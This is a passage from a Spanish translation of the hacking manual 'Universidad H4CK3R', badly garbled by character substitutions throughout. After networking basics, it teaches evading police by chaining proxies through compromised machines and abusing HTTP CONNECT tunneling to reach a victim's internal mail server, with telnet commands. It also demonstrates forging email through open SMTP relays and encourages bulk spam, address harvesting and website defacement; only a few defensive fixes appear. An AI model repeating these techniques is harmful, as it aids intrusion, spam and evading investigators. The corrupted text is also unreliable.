(iscutir los componentes de 3nternet seria como discutir el propio 6.PL3P, !ue estudiamos
en el captulo Nedes 3, se aconsea al lector mirar t$rminos como M6P, H66P, (-S, y
otras !ue se describen all. 2stos son los t$rminos com%nmente usados en la gran Ned.
151
ikimilikiliklik Universidad H4CK3R
;u&redes
:na red basada en 6.PL3P se puede dividir en redes ms pe!ue)as para !ue haya la
posibilidad de crear dominios de broadcast ms pe!ue)os, y as hacer un meor uso de
los recursos disponibles. Se les conoce como subFredes o redes segmentadas. 2stas
redes se utili#an slo en un router 3P. Por lo tanto, cada subred tiene una sola identidad.
/a red tiene un n%mero fio de 3P, como 1B&.1JA.1'.', y todas las m!uinas incluidas en
ella tendran 3Ps basadas en ese n%mero, por eemplo=
Re" I,E >89B>=@B>ABA
I,s InternosE >89B>=@B>AB>O >89B>=@B>AB9O >89B>=@B>AB< BBB
Por otra parte, las mscaras de subred estn dise)adas para ayudar a identificar las
m!uinas en la red. Puede encontrar ms informacin sobre ellas en el captulo Nedes 3,
en 6.PL3P.
Redes InalFm&ricas
= Radio
Sistema utili#ado principalmente en las redes p%blicas, dada la falta de seguridad en sus
transmisiones. 2s necesario !ue las antenas se ubi!uen en el rango de transmisin, pero
nada impide !ue alguien 0los hackers, tal ve#1 instale una antena para capturar estos
datos, !ue, si no estn debidamente encriptados, pueden ser utili#ado para fines distintos
de los previstos.
:na de sus grandes ventaas es !ue su funcionamiento se hace con una frecuencia de
&,? TH#, de uso p%blico, y por lo tanto no hay necesidad de pedir autori#acin del
gobierno para su uso.
<tra forma de transmisin de datos por radio se conoce como transmisin direccional. Se
hace por medio de antenas parablicas, pero estas deben estar alineadas y, cual!uier
obstculo o desviacin puede comprometer en serio la cone5in.
= I555 ')2.11
Mue el estndar dise)ado para poner remedio a la falta de estandari#acin entre los
fabricantes de tecnologa de radio, por!ue no haba compatibilidad entre los diferentes
productos, impidiendo la comunicacin entre redes. :tili#a un es!uema conocido como
1arrier Sense <ultiple ;ccess $it3 1ollision ;voidance 0.S;"L."1. 2l transmisor hace
una prueba inicial y luego inmediatamente sincroni#a las m!uinas para !ue no haya
conflictos o colisiones en la transmisin de datos.
= Infrarro?os
2l uso de infrarroos para la comunicacin inalmbrica tiene su aplicacin ms orientada a
las redes locales. Su alcance se restringe a un ambiente pe!ue)o y totalmente sin
barreras, por!ue el espectro de la lu# no puede pasar a trav$s de 3os obstculos.
= 2luetoot8
+luetooth se considera una red inalmbrica de bao costo, pero !ue, lamentablemente,
tiene poco alcance. Su propagacin se reali#a a partir de se)ales de radio de alta
152
ikimilikiliklik Universidad H4CK3R
frecuencia y su versatilidad le permite conectar varios dispositivos !ue van desde
computadoras porttiles hasta electrodom$sticos. 2sta tecnologa fue creada por iniciativa
de C2ricsson ;obile .ommunicationsD en 1BB? para e5plorar la capacidad de la interfa#
de radio en sus dispositivos. 2n 1BBA lleg el S3T 0+luetooth Special 3nterest Troup1. 2l
sistema utili#a una frecuencia de hasta &,? TH# con una velocidad de transmisin de 1
;bps, con una distancia m5ima de die# metros.
= S;4
2l Sistema Tlobal para .omunicaciones ;viles es un estndar para la telefona mvil,
de ar!uitectura abierta utili#ada en 2uropa y e5tendido por todo el mundo. <pera a una
frecuencia de B'' ;H#, especificado por el 3nstituto 2uropeo de -ormas de
6elecomunicacin 026S31. 2n la actualidad, la tecnologa ya est en su tercera
generacin, la !ue vemos a continuacin.
=2.! S
-ivel intermedio entre &T y 9T, permite cone5in de banda ancha con tel$fonos mviles y
P("s, tambi$n ofrece una amplia gama de servicios !ue hacen !ue esta tecnologa sea
ms atractiva, como la mensaera instantnea de te5to y servicios de locali#acin.
= 3S
6ercera generacin de la tecnologa TS;. Sus aplicaciones se centran en el acceso
directo a 3nternet con banda ancha, transformando as el tel$fono mvil en una plataforma
completa para la obtencin de datos e 3nternet, adems, hay estudios sobre su uso para
el comercio mvil. 2so significa hacer las compras de m!uinas e5pendedoras y tiendas
utili#ando el mvil. Puede operar a frecuencias de 1,B TH# a &,1 Th#.
= Wi"i
OiMi es la abreviatura de la palabra fidelidad inalmbrica 0Oireless Midelity1, de O2."
0Oireless 2thernet .ompatibility "lliance1, !ue utili#a el protocolo conocido como 3222
A'&.11b.
153
ikimilikiliklik Universidad H4CK3R
Vulnerabilidades
II
.apitulo X B
Y(es gens esclaves, chansons, chants [
re!uestes, .aptifs par Princes, [
Seigneurs au5 prisons. " lYadvenir par
idiots sans testes,
Seront reous par divins oraisons Y
"ostrada(us*
1enturia I* %loque @E* apro). @GGG
(el pueblo esclavi#ado, canciones, cantos y suplicas, .autivos por
Prncipes y "mos de crceles. "l pasar, por idiotas sin cabe#a, Sern
recibidos por oraciones divinas
154
ikimilikiliklik Universidad H4CK3R
" medida !ue avan#amos en nuestros estudios de las debilidades de los sistemas de
informacin, nos volvemos ms atrevidos y confiados. 2ste libro, imitando a un curso
universitario, se estructur de manera !ue cual!uier persona con conocimientos bsicos
de informtica, pueda llegar a entender algo acerca de seguridad y redes. Por eso mismo,
hasta ahora, el lector ha sido tratado casi como un laico. " partir de ahora, consideramos
!ue estos conceptos se han asimilado 04materia dada41 y pasaremos ha temas ms
4pesados4.
Veamos lo !ue tenemos hasta ahora. Hablando directamente sobre hackers e invasiones,
tuvimos los siguientes captulos=
.aptulo ' F .onferencia inaugural. F :na introduccin al medio ambiente a menudo
llamado espacio hacker o underground digital.
.aptulo 1 F Psicologa Hacker F :n poco del pensamiento de los habitantes de ese
mundo.
.aptulo I F ;arco urdico F .onsideraciones legales de la informtica.
.aptulo J F 3ngeniera Social F <btencin de informacin "-62S de invadir el e!uipo.
.aptulo @ F Vulnerabilidades F "ctuar como 4script kiddies4 e invadir las computadoras
personales.
.on todo lo !ue hemos visto hasta este captulo, podemos decir !ue nos igualamos a la
gran multitud de 4script kiddies4 por todo el mundo. 2l lector habr notado !ue en ve# de
hablar de decenas de herramientas y e5plicar cmo funciona cada una, tratamos de
mostrar cmo trabaan los kiddies y los lugares donde puedes encontrar dichas
herramientas.
:na ve# ms advertimos= ning%n libro, .(FN<;, o sitio Peb de preguntas va ense)ar a
alguien a ser hacker. 2s un proceso !ue re!uiere estudio, paciencia, persistencia y
dedicacin. 2n este captulo veremos algunas t$cnicas utili#adas por los 4script kiddies4,
esta ve# centrndonos en los sitios de 3nternet o en redes y sistemas de empresa. Pero a
diferencia de los chi!uillos 0kiddies1, usted sabr e5actamente lo !ue ests haciendo, en
base a los conocimientos ad!uiridos antes. <tra cosa !ue puede observarse= las
herramientas de hacking para OindoPs B5 son simples uguetes. .omo las cosas se
ponen serias, slo los sistemas ms potentes, como OindoPs -6 o :ni5 son capaces de
servir como base para los ata!ues, especialmente este %ltimo.
2n caso de duda, se recomienda una relectura de los captulos anteriores, incluyendo la
eecucin de los e5perimentos mostrados. 7Eu$8 7:sted no hi#o ning%n e5perimento
prctico8 "hora, dea de leer el libro, y vuelve slo cuando termines tu tareaG
Ia1egaci/n an/nima
/os pro5ies hacen ms !ue servir de cortafuegos y cach$ para !ue las redes internas
tengan acceso a 3nternet. :n e!uipo detrs de un pro5y esta completamente oculto, y su
n%mero de 3P no se revela. Para el e!uipo !ue recibe la cone5in, la direccin 3P de
origen de los pa!uetes entrantes es cual!uiera del pro5y.
Si un hacker tiene acceso a un pro5y para navegar por 3nternet todos sus pasos sern
cubiertos. 2ste pro5y puede ser un servicio p%blico F hay muchos pro5ies p%blicos en
155
ikimilikiliklik Universidad H4CK3R
3nternet, algunos gratuitos, pero la mayora son de pago. 6ambi$n puede ser !ue un
determinado pro5y este mal configurado y acepte la transmisin total en 3nternet. "un bien
configurado, hay fallos en algunos softPares !ue permiten a los piratas informticos
utili#ar servidores pro5y como escudos.
/a otra cara de la moneda tambi$n es vlida. :n pro5y es un servicio abierto en un puerto
6.P y por tanto est sueto a fallos. :n servicio de pro5y puede ser una puerta de entrada
para la invasin de la m!uina y comprometer otros servicios antes 4saludables4.
= Proies 73&licos
:na forma tran!uila de navegar por 3nternet sin ser molestados es utili#ando un servidor
pro5y p%blico. (etrs de este servidor, tu 3P sea invisible para todos los sitios Peb=
estando a salvo de vendedores de enciclopedias, coleccionistas de cookies y las
investigaciones del gobierno. Hackers !ue lo est$n intentando, slo conseguirn la 3P del
pro5y. .omo cual!uier tecnologa tambi$n puede usarse para el mal, usted se puede
ocultar detrs del pro5y para reali#ar ata!ues, !ue se registraran en los ClogsD de la
vctima con una 3P diferente a la suya. /a cone5in entre el usuario y el pro5y se puede
cifrar con SS/ F normalmente a trav$s de una shell segura o SSH X la mayora de los
servidores garanti#an !ue sus actividades no son registradas o sus datos reenviados a las
empresas !ue patrocinan el pro5y. Parece seguro, 7no8 -o tanto.
Para bien o para mal, el propio pro5y tiene informacin sobre $l. 3ncluso habiendo pro5ies
p%blicos garanti#ando !ue usted no sera rastreado ni registrado en los ClogsD del servidor,
algunos de ellos pueden estar mintiendo. Si causas un da)o en 3nternet, tarde o temprano
seras rastreado hasta el pro5y. +asta una orden udicial, para !ue el responsable del
servidor abra sus registros a la Polica. Seras detenido en cuestin de horas.
Hay varias formas para tratar de evitar este inconveniente. /a primera es una t$cnica
llamada pro5y en cadena_ se invade un e!uipo sin importancia, !ue se utili#a para invadir
un segundo, !ue se utili#a para invadir a un tercero. 2ntre cada uno de estos e!uipos se
utili#a un pro5y, aumentando el n%mero de ChotsD intermedios en seis o ms, imponiendo
una dificultad adicional para los investigadores, !ue debern anali#ar los registros de
pro5ies diferentes para determinar el origen de cada una de las etapas. /a ventaa de este
m$todo es !ue es independiente de la plataforma= se pueden utili#ar m!uinas :ni5,
OindoPs, ;ac o cual!uier otra !ue tenga conectividad compatible con el pro5y de
servicio. Necuerde utili#ar diferentes servidores y, preferiblemente, geogrficamente
distantes. Si se encuentra en +rasil y !uiere invadir un sistema en los 2stados :nidos, su
primer pro5y puede estar en "ustralia, el segundo en el mismo +rasil, y el tercero en
2uropa. 3ncluir a +rasil en la lista de servidores pro5y se utili#a como un 4truco sucio4 para
confundir a los investigadores, !ue normalmente descartan la posibilidad de !ue el
atacante est$ en el mismo pas !ue el pro5y investigado. 04-adie sera tan burro ...41.
"lgunas direcciones de pro5ies p%blicos=
PPP.publicpro5yservers.comL
PPP.stayinvisible.comL
PPP.tools.rosinstrument.comLpro5yL
PPP.antipro5y.comL
156
ikimilikiliklik Universidad H4CK3R
PPP.netspy.ukrpack.netL
*, por supuesto, su motor de b%s!ueda favorito en 3nternet 0Toogle, todos los de la Oeb1,
utili#ando las palabras clave 4pro5y p%blicoD, puede encontrar cientos de listas de
servidores p%blicos disponibles. 3nstrucciones para configurar su navegador para usar uno
de estos servicios se pueden encontrar en la ayuda de los propios programas. 6enga en
cuenta !ue hay servidores pro5y para algunos servicios concretos, por lo general H66P,
M6P y correo electrnico. Si desea utili#ar uno de ellos para un escaneo de puertos o
incluso un ata!ue, debe disimular los pa!uetes 6.PLlP de su ata!ue, para !ue pare#can
compatibles con el servicio soportado y pasen a trav$s de pro5y.
<tra forma de meorar el anonimato en la Ned, ms sencillo pero menos efica#, es utili#ar
programas !ue automticamente eligen de una lista de pro5ies y se conectan a ellos.
.ada ve# !ue el programa es activado, se elige un servidor al a#ar o de acuerdo a unos
criterios predefinidos. "lgunos tambi$n son capaces de cambiar entre pro5ies cada cierto
tiempo, pulveri#ando los rastros. 2l navegador debe ser configurado para acceder al
programa, !ue eecuta la direccin de bucle invertido 04localhost4 o 1&@.'.'.11, y dear !ue
el programa se encargue de encontrar un pro5y seguro.
:n buen servicio de pago pro5y asistida por un programa cliente es el "nonymi#er
0PPP.anonymi#er.com1. /a versin ms bsica del coste del servicio en mar#o de &''9
22.::. ^ ?B.B' ms impuestos, y estaba disponible slo para OindoPs. 2ntre las
caractersticas !ue ofrece, adems de pro5y aleatorio con servidores p%blicos est, el
cifrando de direcciones :N/, la gestin de las cookies, blo!ueo de Peb bugs, eliminacin
automtica del historial de pginas visitadas y una barra de herramientas para 3nternet
25plorer J.
"dems de $l, podemos destacar el
"nonymity ? Pro5y
0PPP.inetprivacy.comLa?pro5yL1.
(isponible para todas las versiones
de OindoPs, tiene una lista muy
grande de pro5ies p%blicos, y
gestiona las cone5iones a todos
ellos. 6iene varias opciones para
vincular las reas de 3nternet o sitios
especficos para uno o varios
servidores pro5y, anlisis de trfico y
protocolos asociados y
compartimiento de cone5in con una
red local.
<tro halla#go destacable es el CStealther4, un programa de softPare !ue ofrece la
posibilidad de utili#ar una serie de pro5ies p%blicos para automati#ar la cone5in en
cadena.
157
ikimilikiliklik Universidad H4CK3R
2l Stealther se puede encontrar en
0PPP.photonosoftPare.comLStealtheLmain.php9_8languagebeng[resellerbBA&?1.
Para la pandilla del SoftPare /ibre esta el
Z"P F Zava "nonymity and Privacy. .omo
est escrito en Zava, funciona en diferentes
plataformas !ue soportan este lenguae,
incluyendo :ni5, ;acintosh, <SL& y
OindoPs. 2l softPare se puede descargar
de anon.inf.tuFdresden.deL 0el sitio est en
alemn1.
2l personal de :ni5, no ha sido olvidado. 2l Pro5y6ools 0pro5ytools.sourceforge.net1 es un
conunto de herramientas para escritorio y servidor !ue tambi$n permite la navegacin de
forma annima en 3nternet a trav$s de pro5ies annimos. Se ha dise)ado especficamente
para ayudar a los usuarios de 3nternet en los pases !ue aplican la censura en 3nternet,
como .hina, +irmania y los pases islmicos 0y ms recientemente, los 2stados :nidos
de "m$rica1. /as herramientas para las m!uinasFcliente se eecutan e5actamente de la
misma manera !ue los otros programas antes mencionados= buscan y encuentran
servidores pro5y p%blicos. 6ambi$n hay un CdaemonD !ue se puede eecutar en un
servidor :ni5 y reali#a la funcin de 4pro5y de pro5y4. "s, el cliente no necesita instalar
nada en el e!uipo, huyendo de las redadas policiales, y sobre todo del draconiano castigo
para los infractores de las leyes de censura. 2n algunos pases, estas sanciones pueden
incluir la eecucin del delincuente.
<tras herramientas son similares para :ni5 son el +ouncer 0PPP.r''t9d.org.uk1 y el
Pro5yMloppy 0PPP.nameless.cultists.org1.
" pesar de ser ms seguro !ue navegar a pecho descubierto, cuidado con los pro5ies,
sobre todo los p%blicosG. "lgunos son trampas de la polica, otros son por naturale#a
158
ikimilikiliklik Universidad H4CK3R
inseguros, y puede haber incluso servidores maliciosos, mantenidos por hackers, para
rastrear 4script kiddies4 e internautas incautos, con el obetivo de utili#ar3os
0especialmente su 3P1 en los ata!ues de suplantacin de identidad. Por esta ra#n, los
hackers e5perimentados prefieren invadir una red poco importante 0pe!ue)as empresas,
escuelas o universidades1 para utili#ar su pro5y. < valerse de servidores pro5y mal
configurados sueltos por 3nternet.
= Proies 7ri1ados
Hay varias maneras de entrar en un e!uipo !ue eecuta un programa de pro5y y
esconderse en 3nternet. 2l m$todo para cada tipo de servidor pro5y depende de la versin
y sistema operativo en el !ue rueda. Pero hay algunas vulnerabilidades !ue funcionan en
cual!uier plataforma, ya !ue son inherentes a la tecnologa y no a la aplicacin de la
tecnologa por un desarrollador en particular.
:no de estos casos es el t%nel del 6.P, una forma de encapsular los pa!uetes 6.P en
otros para llevarlos con seguridad a trav$s de 3nternet. 2sta tecnologa es ampliamente
utili#ada para crear VP-s o redes privadas virtuales. Pero un fallo en la tecnologa puede
dar a los hackers e5pertos un pro5y improvisado. 2sta vulnerabilidad es realmente viea.
;ire lo !ue dice el M"E del SoftPare CS!uidD.
0PPP.s!uidFcache.orgL(ocLM"ELM"EF1.html.1 2n el punto 1.1&=
">esde la versin B.G* Squid soporta cone)iones SS' + trDfico de "tAnel" entre clientes +
servidores. -n este caso* Squid puede trans(itir los %its cifrados entre los dos e)tre(os
de la cone)in.
"or(al(ente* cuando el navegador se encuentra con una P7' 3ttps* realiNa una de las
dos acciones siguientes6
@ -l navegador a%re una cone)in SS' directa(ente con el servidor 3ttpsX
B -l navegador solicita para a%rir un tAnel I2 a travMs de Squid usando el (Mtodo
1T""-18.
-l (Mtodo 1T""-18 es una for(a de tAnelar cualquier cone)in que pase a travMs de
un pro)+ .882. -l pro)+ no interpreta o entiende el contenido que esta siendo tunelado*
slo lo transfiere entre las dos (Dquinas que participan en la cone)in. 2ara o%tener (Ds
infor(acin so%re tunela(iento + el (Mtodo 1T""-18* ver. -l pro+ecto de Internet
"8unneling 812 %ased protocols t3roug3 $e% pro)+ servers"
#$$$.$e%!cac3e.co(Q,ritingsQlnternet!>raftsQdraft!luotonen!$e%!pro)+!tunneling!L@.t)t& +
7F1BJ@I #ftp6QQftp.is'eduQin!notesQrfcBJ@I.t)t&"
V$ase la siguiente frase, de la M"E= 4-l pro)+ no interpreta o entiende el contenido que
esta siendo tunelado* slo lo transfiere entre las dos (Dquinas que participan en la
cone)in.4 2sto significa !ue el pro5y no verifica si los datos estn encriptados o no. Por
lo tanto, puede e5plotar esta vulnerabilidad utili#ando el m$todo .<--2.6 para
conectarse a un servidor, !ue puede ser una tanto una m!uina en 3nternet como un
servidor en la intranet. Necuerde !ue el pro5y se puede eecutar en una m!uina
CgatePayD, !ue tenga dos interfaces de red 0uno para la red interna y uno para red
159
ikimilikiliklik Universidad H4CK3R
e5terna1. 6omando posesin del pro5y, el atacante tiene acceso a la red interna, aun!ue
este implementada con 3Ps reservados como 3P 1'.'.'.'. o 1B&.1JA.'.'G
7Eu$ tal un eemplo prctico8 2n un pro5y vulnerable, nos conectamos a un servidor de
eFmail interno y lo vamos a utili#ar como remailer. .onsidere la siguiente informacin=
F 3P del atacante= &''.&9'.555.yyy
F Pro5y vulnerable de la vctima= J?. 91.aaa.bbb, 4escuchando4 en el puerto 91&A
F Servidor S;6P interno de la victima= 1B&.1JA.1.11
.onectese con el servidor pro5y utili#ando el vieo telnet 0en el eemplo se utili#a el shell
de :ni5, pero se puede hacer en OindoPs sin problemas, con emuladores de terminal y
telnet como 6era6erm o Hyper6erminal, !ue vienen con el S<1=
6 Te!net =KB><>B###B/// <>9@
:na ve# conectado, escriba el siguiente comando=
CONNECT >89B>=@B>B>>E9; C HTT,C>BA
Si, como respuesta, aparece el CbannerD del servidor, usted puede emitir comandos para
enviar sus mensaes de eFmail annimos 0v$ase la siguiente seccin, 4remailers
annimos4 al final de este captulo1. 6enga en cuenta !ue S;6P se utili#a a!u solo como
eemplo. :sted puede utili#ar el m$todo .<--2.6 para cual!uier servicio= P<P, M6P,
H66P, S;+L.3MS, 6elnet > 6ambi$n tenga en cuenta !ue tunelando varios pro5ies en
cadena, es posible poner m%ltiples niveles de pro5y en los ata!ues.
/a solucin para este problema es tan simple y evidente como apagar el t%nelado 6.P en
su pro5y. Si el t%nelado es absolutamente necesario, no dees tu pro5y conectado
directamente a 3nternet. 3nstalalo en otra m!uina y ponlo detrs del firePall. Nestringir los
puertos a trav$s de los cuales se puede hacer t%nelado, deando slo a!uellos !ue
realmente se usen, es tambi$n un buen auste.
= ;+uid
2l S!uid, servidor pro5y n%mero uno para los amantes del :ni5 y softPare libre, tambi$n
tiene sus propias heridas. Sitios con S!uid con normas de firePalls mal configuradas son
un ban!uete para a!uellos !ue buscan el anonimato. Pero incluso los sistemas
perfectamente configurados 0y sin duda seguros desde el punto de vista de el
administrador1 pueden ser vulnerables a ata!ues. 25iste una vulnerabilidad reciente
0lPn.netLVulnerabilitiesL?99J1 !ue permite diversos ata!ues, incluyendo=
F Problemas con el protocolo Topher permite !ue men%s mal formados causen problemas
de seguridad_
F /os dos canales de comunicacin M6P permiten !ue los datos sean e5trados o
insertados, pudiendo for#ar la descarga de archivos arbitrarios o eecutar comandos en el
servidor_
F Mallo de autenticacin permite a los usuarios no registrados utili#ar el pro5y.
160
ikimilikiliklik Universidad H4CK3R
/os tres defectos se podran utili#ar para, adems de invadir el servidor en el !ue S!uid
esta corriendo, for#ar al pro5y ha transmitir 3Ps no autori#ados. Se pueden encontrar
25ploits en Security Mocus 0PPP.securityfocus.com1. /a solucin es simple= actuali#ar
S!uid a la versin &.? S6"+/2 @ o superior. Pero como los administradores de red !ue
hay son pere#osos, es posible !ue, encuentres durante muchos a)os, aun, S!uid con
versiones vulnerables.
= WinSate
OinTate se puso en marcha en 1BBI como una distribucin de 3nternet para redes
dom$sticas. Simula un pro5yLgatePay por mascara de 3P y por su bao precio, era muy
popular en los 22.::. " pesar de ser un producto ya bastante vieo, muchas personas
todava lo utili#an para compartir su cone5in a 3nternet con una pe!ue)a red de
m!uinas. Hay varias maneras de CtumbarD versiones antiguas de OinTate. :na de las
ms conocidas es conectar 0con telnet, por eemplo1 el puerto &'A' y enviar unos pocos
kilobytes de datos cuales!uiera.
Pero lo interesante es !ue algunas versiones de OinTate mal configuradas permiten !ue
sea utili#ado como un pro5y annimo. Si eecuta una de estas, se arriesga a prestar su 3P
a los script kiddies para atacar el Pentgono. 2ncontrar e5ploits para OinTate es muy
fcil. :tilice su motor de b%s!ueda favorito y pregunte por 4Pingate scanner D. 6enga en
cuenta !ue muchos de estos escneres pueden ser trampas para atrapar 4script kiddies4 y
por lo tanto contener virus y troyanos F "ctualice sus antivirusG
/a solucin a esto es bastante fcil. Si usted insiste en el uso de OindoPs, actualice
OinTate 0PPP.Pingate.com1 o utilice otros programas como OinPro5y
0PPP.Pinpro5y.com1. /as nuevas versiones de OindoPs tienen 3nternet .onnection
Sharing, !ue hace innecesario el uso de programas e5ternos. Pero el propio 3.S es en si
mismo inseguro, lo !ue le recomendamos instalar un firePall personal como ,one"larm
0PPP.#onealarm.com1 o compre en la chatarreria un misero 9AJ 0!ue rule, obviamente1
con al menos A ;bytes de N"; y sin H(. 2n el, instale alg%n firePallUgatePay basado en
/inu5 o Mree+S(. +uenas opciones son .oyote /inu5 0PPP.coyotelinu5.com1. 6rinu5
0trinu5.sourceforge.net1 y MreeS.< 0PPP.freesco.org1. 2l coste de la chatarra 9AJ es ms
barato !ue las licencias de OinTate, OinPro5y o 3.S de OindoPs y ,one "larm. Por otra
parte, si esta bien configurado funcionara meor, ser mas seguro y deara el ordenador
con menos basura instalada.
Remailers an/nimos
:na de las cosas ms molestas !ue hay 0despu$s de los vendedores de enciclopedias,
de los popFups en los sitios Peb y los representantes de las casas de softPare, instando a
!ue utilice su programa muy caro, y no el libre !ue hace lo mismo1 es el spam. 6odos
recibimos cada da, decenas o incluso cientos de correos basura !ue nos ofrecen de todo,
desde se5o a cucharones ultramodernos. "l principio, es fcil configurar un cliente de
correo como <utlook o 2udora, para !ue en el campo 4(e4, de los mensaes enviados,
apare#ca una direccin diferente a la suya.
Pero este enga)o se descubre fcilmente, ya !ue el encabe#ado del correo electrnico
161
ikimilikiliklik Universidad H4CK3R
0los datos !ue van antes de su mensae, y !ue por lo general no se ven1 se registra su
direccin de eFmail, la direccin de su servidor S;6P e incluso el nombre del programa
!ue usted utili#a. Para enviar spam 0o un troyano1, tendr dos opciones, como se muestra
a continuacin=
F +uscar servidores S;6P !ue estn abiertos para relay e5terno, es decir !ue acepten
cone5iones desde cual!uier rincn de 3nternet. .r$anme, son bastante comunes.
F :tili#ar un softPare o sitio Peb para enviar mensaes de correo electrnico sin revelar la
fuente.
2n servidores S;6P desprotegidos , puede configurar el cliente de correo electrnico
para conectarse a $l, pero podra dear muchas huellas. :na buena t$cnica es usar telnet
para ello. :na ve# !ue encuentre un servidor de correo electrnico abierto al p%blico en
general, darle un telnet al puerto &I=
6 Te!net I,B4ELBSMT,BALIERTO 9;
2n el prompt !ue aparece, debe introducir los comandos !ue normalmente su eFmail
enviara al servidor F s, son en te5to planoG
HELO servi"orB#/ertoBcom
MAIL FROME m#i!f#!soNservi"orB#/ertoBcom
RC,T TOE 'rN'resi"enci#B.ovB/r
FECHA
4#teE T$O <> "e "iciem/re >88@ >9E>=E<; +A;AA -EST0
4eE m#i!f#!soNservi"orB#/ertoBcom -(n /r#si!eSo rese!to0
,#r#E 'rN'resi"enci#B.ovB/r
AsntoE ,ro.r#m# "e To/ierno
Res'on"er #E m#i!f#!soNservi"orB#/ertoBcom
Hey5 UCMn"o v# # !!e.#r # cm'!ir e! 'ro.r#m# "e .o/iernoO Ue$V
SALIR
"lgunos sistemas, abiertos para relay e5terno, son inmunes a este procedimiento. :sted
ser capa# de enviar correo electrnico, pero no se le permitir 4mentir4 sobre su
direccin. 2nviar un correo electrnico a uno mismo es una buena prueba, pero
aseg%rese de comprobar los encabe#adosG /o !ue pasa es !ue los nuevos servidores
S;6P verifican su identidad con el servicio CidentdD 0!ue trata de identificarlo de forma
remota1. 2n estos casos, es necesario 4enga)ar4 a CidentdD primero, para despu$s usar el
S;6P abierto. -o tenga pere#a para completar todos los campos !ue se muestran. "s,
su mensae parecer un mensae real. Para obtener ms informacin sobre el
funcionamiento del protocolo S;6P, consulte NM. A&& y B91.
Hay varios sitios !ue envan mensaes de correo electrnico annimo. 3ncluso los
principales sitios de aloamiento gratuito y los motores de b%s!ueda 0como /ycos=
members.lycos.frLmoiaptoiLmail.php1 tienen pginas especiales para el envo de correos
electrnicos con mensaes y taretas electrnicas a tus amigos X esta herramienta en las
manos de un hacker, se convierte en un arma. :na b%s!ueda rpida en Toogle devuelve
varios eemplos de CPeb anonymous mailersD. Separamos entre los cientos mostrados,
estos cinco=
162
ikimilikiliklik Universidad H4CK3R
F PPP.gilc.orgLspeechLanonymousLremailer.html
F fanclub.etoy.c9.huLtanksystemLundergroundFtankLresistanceLmailerform.html
F PPP.udsonalumni.comLlevelI `b :n sitio de estudiantesG
F PPP.emailFanonyme.fr.st
F PPP.mailer.us.tf
3ncluso puede invadir cual!uier servidor en 3nternet y aplicar all, sin !ue nadie lo sepa, el
softPare de correo propio. :n cdigo de eemplo 0en PHP1 se puede ver en
http=LLPPP.pscode.comLvbLscriptsLShoP.ode.asp8t5t.ode3dbBI.9bAylngO3d.
Hay cantidad de softPare !ue automati#a el proceso de enviar toneladas de correos
electrnicos a miles de direcciones, incluyendo implementar su propio servidor S;6P
domestico o e5plorar 3nternet detrs de servidores corruptos. Si utili#a :ni5 y tiene
cone5in directa a 3nternet, puede instalar un completo servidor de S;6P en el e!uipo,
configurarlo con un dominio ficticio, y dar la brasaG "lgunos proveedores de 3nternet
blo!uean servidores S;6P a sus abonados, pero nada !ue un pro5y p%blico no arregle.
Hay varias opciones disponibles, siendo Email, Sendmail y el veterano Postfi5 las ms
conocidas. 2n un refinamiento de este proceso se pueden utili#ar servidores de listas de
correo para automati#ar la entrega a muchos destinatarios. 2ntre la lista de los ms
comunes estn los servidores de ;ayordomo, 25im y T-: ;ailman. Para alimentar a los
servidores de listas, basta con crear una lista de distribucin y suscribirse, poco a poco,
se irn sumando las direcciones recopiladas de 3nternet. Hay scripts como +ulk ;ailer
0ftp=LLcs.utk.eduLpubLmoorelbulk.mailerL1 !ue facilitan la tarea a%n ms. :na b%s!ueda en
Toogle sera suficiente para empe#ar, pero no es necesario= basta con copiar y pegar
desde los mensaes de correo electrnico de fin de a)o !ue suele recibir, !ue suelen venir
llenos de direcciones en los campos 4Para4 y 4..4. Si usted es el enemigo de spam, una
recomendacin= "l reenviar mensaes de correo, utilice siempre el campo 4.opia oculta4 o
+....
2n el lado del cliente, se pueden enviar correos electrnicos annimos sin invadir ning%n
servidor. 6enga en cuenta !ue, a pesar de ser la solucin ms simple, es peligrosamente
fcil de rastrear. "lgunos programas 0de pago1 para OindoPs, !ue hacen esto son=
F SendFSafe= PPP.sendFsafe.com
F +ulker= PPP.bulker.us
Hay algunos otros programas libres !ue prometen= enviar eFmails annimos a un gran
n%mero de personas. Pruebelos todos. Pero no espere la facilidad de un script, como dira
la hackergirl <elp[ne(e. 6rate de entender cmo trabaan los servidores S;6P, y ver
!ue es fcil usar cual!uiera de ellos para enviar correos electrnicos annimos. :na
%ltima recomendacin= lea las NM.sG
*gu?ereando "irewalls
.uando alguien invade un ordenador domestico, tiene a su disposicin algunos archivos
importantes slo para el propietario. 6al ve# alg%n softPare ingenioso !ue merece ser
copiado. 2stas m!uinas no sirven para reali#ar el sue)o Parholiano de los adolescentes=
163
ikimilikiliklik Universidad H4CK3R
tener su momento de fama.
Para lograr la tan buscada publicidad gratis, es necesario atacar los sistemas !ue son
visibles al p%blico en general. "lterar sitios Peb es la primera eleccin, ya !ue se puede
dar cual!uier mensae y la obra de arte siempre estar firmada. Pero hay otras opciones
de mas repercusin, aun!ue ms annimas. 6umbar servidores de empresas o
enrutadores de 3nternet son dos de ellas. " pesar del anonimato, el da)o causado es
grande.
= "irewalls
Vamos a decir la verdad= !uien hoy, en su sano uicio, deara un servidor Peb conectado
directamente a 3nternet8 0Vale, vale, vale, esta bien, mucha gente hara eso ...81 "un!ue
se trate de e!uipos !ue sean accesibles a los usuarios de 3nternet en general, debe
garanti#arse un cierto grado de proteccin para !ue el sitio no sea CmolestadoD el primer
da 0o antes a primera hora ...1. 2sta proteccin suele ser relegada a los dispositivos
llamados MirePalls.
:n firePall se coloca siempre en el lmite entre dos o ms redes. Puede ser entre redes
privadas o entre una red privada e 3nternet. /a funcin de los estos e!uipos es controlar el
trfico entre ellos, permitir o blo!uear la informacin de acuerdo a normas especficas.
Hay varias e5plicaciones para usar la palabra firePall. /os autores prefieren la definicin
de 4puerta cortafuegos4, es decir, dea pasar a la gente !ue huye del fuego, pero blo!uea
el fuego. (el mismo modo, los MirePalls act%an como puertos !ue permiten a algunas
cone5iones entrar o salir de la red, mientras !ue blo!uean otras. Por lo general, a las
cone5iones procedentes de dentro de la red se les permite, mientras !ue las procedentes
de fuera de la red se blo!uean.
Hay tres tipos bsicos de servidores de seguridad. /os ms tradicionales son dos, los
filtros de pa!uetes y los servidores pro5y. 2l tercer tipo es una evolucin del filtro de
pa!uetes tradicional llamado filtro de los pa!uetes por estado o stateful packet filter 0SPM1.
= "iltros de 7a+uetes
/a opcin mas antigua de impedir el acceso no deseado a nuestras redes podra ser la de
anali#ar los pa!uetes 6.PLlP uno a uno, mirando las cabeceras, y decidir 0o adivinar1 si es
